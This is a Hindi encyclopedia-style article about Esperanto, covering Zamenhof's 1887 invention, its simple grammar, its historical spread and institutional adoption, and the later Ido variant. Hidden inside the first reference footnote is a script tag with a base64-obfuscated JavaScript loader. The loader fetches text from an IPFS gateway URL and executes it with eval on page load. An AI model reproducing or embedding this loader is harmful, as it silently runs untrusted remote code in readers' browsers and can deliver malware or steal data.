एस्परांटो

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एस्परांटो अनेक वर्षों से अंतर्राष्ट्रीय भाषा का प्रश्न राजनीतिज्ञों, वैज्ञानिकों और भाषाशास्त्रियों का ध्यान आकर्षित कर रहा है। वैज्ञानिक नाप-तौल के लिए दुनिया भर में एक से अंतर्राष्ट्रीय शब्द व्यवहार में लाए जा रहे हैं। अंतर्राष्ट्रीय व्यवहार के पारिभाषिक शब्द बहुत बड़ी संख्या में गढ़े जा रहे हैं और मान्यता प्राप्त कर रहे हैं। भाषा शास्त्री इस विषय पर गंभीरता से विचार कर रहे हैं कि थोड़े से व्याकारण के सर्वस्वीकृत नियम बना लेने से एक अंतर्राष्ट्रीय भाषा तैयार हो जाएगी।

सन्‌ 1887 ई. में डाक्टर एल.आई. ज़ामेनहॉफ़ ने इसी उद्देश्य से एस्परांटो का आविष्कार किया। आविष्कार्ता के अनुसार एस्परांटो में अंतर्राष्ट्रीय भाषा बनने की सब विशेषताएँ मौजूद हैं। उसकी वाक्यावली तर्क और वैज्ञानिक नियमों पर आधारित है। उसके व्याकरण को आधे घंटे में समझा जा सकता है। प्रत्येक नियम अपवादरहित है। शब्दों के हिज्जे का आधार ध्वन्यात्मक है। उसका शब्दकोश बहुत छोटा है। फिर भी उसमें साहित्यिक शक्ति है, शैलीसौंदर्य है और विचारों को व्यक्त करने में वह काँटे की तौल उतरती है। लचीलापन भी उसमें यथेष्ट मात्रा में है। 20 वर्ष पूर्व के आँकड़ों के अनुसार एस्परांटो भाषा में उस समय तक 4,000 से अधिक मौलिक और अनूदित पुस्तके प्रकाशित हो चुकी थीं और 100 से अधिक मासिक पत्र नियमित रूप से प्रकाशित होते थे। दूसरे महायुद्ध के पूर्व संसार के अनेक देशों में भाषा के रूप में एस्परांटो विद्यालयों में विद्यार्थियों को पढ़ाई जाती थी। पेरिस के चेंबर ऑव कामर्स और लंदन की काउंटी कौंसिल कमर्शल विद्यालयों में एस्परांटो की शिक्षा दी जाती थी। सन्‌ 1925 ई. में अंतर्राष्ट्रीय टैलिग्रैफिक यूनियन ने एस्परांटो को तार की अंतर्राष्ट्रीय भाषा के रूप में स्वीकार किया। मई, सन्‌ 1927 में अंतर्राष्ट्रीय रेडियोफ़ोनिक यूनियन से उसे प्रसार के योग्य भाषा के रूप में स्वीकार किया। उसी वर्ष दिसंबर मास तक विविध देशों में 44 आकाशवाणी केंद्र एस्परांटो में प्रसार करते थे। 20 वार्षिक अंतर्राष्ट्रीय एस्परांटो सम्मलेन में अखिल विश्व से 1,000 से लेकर 4,000 प्रतिनिधि तक सम्मिलित हुए थे।[1]

सन्‌ 1887 में एस्परांटो का जो रूप था उसमें सन्‌ 1907 ई. में अनेक परिवर्तन करके उसे और अधिक सरल तथा वैज्ञानिक बनाया गया। एस्परांटो के इस नए रूप का नाम 'इडो' रखा गया। अंतर्राष्ट्रीय भाषा के रूप में एस्परांटो से प्रतिस्पर्धा करनेवाली आज और भी अनेक भाषाएं क्षेत्र में हैं।[2]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 262 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. सं.ग्रं.-ए.एल. ग्यूरार्ड : शार्ट हिस्ट्री ऑव दि इंटरनैशनल लैंग्वेज़ मूवमेंट (1922); ओटो जेस्पर्सन : इंटरनैशनल लैंग्वेज़ (1920)।

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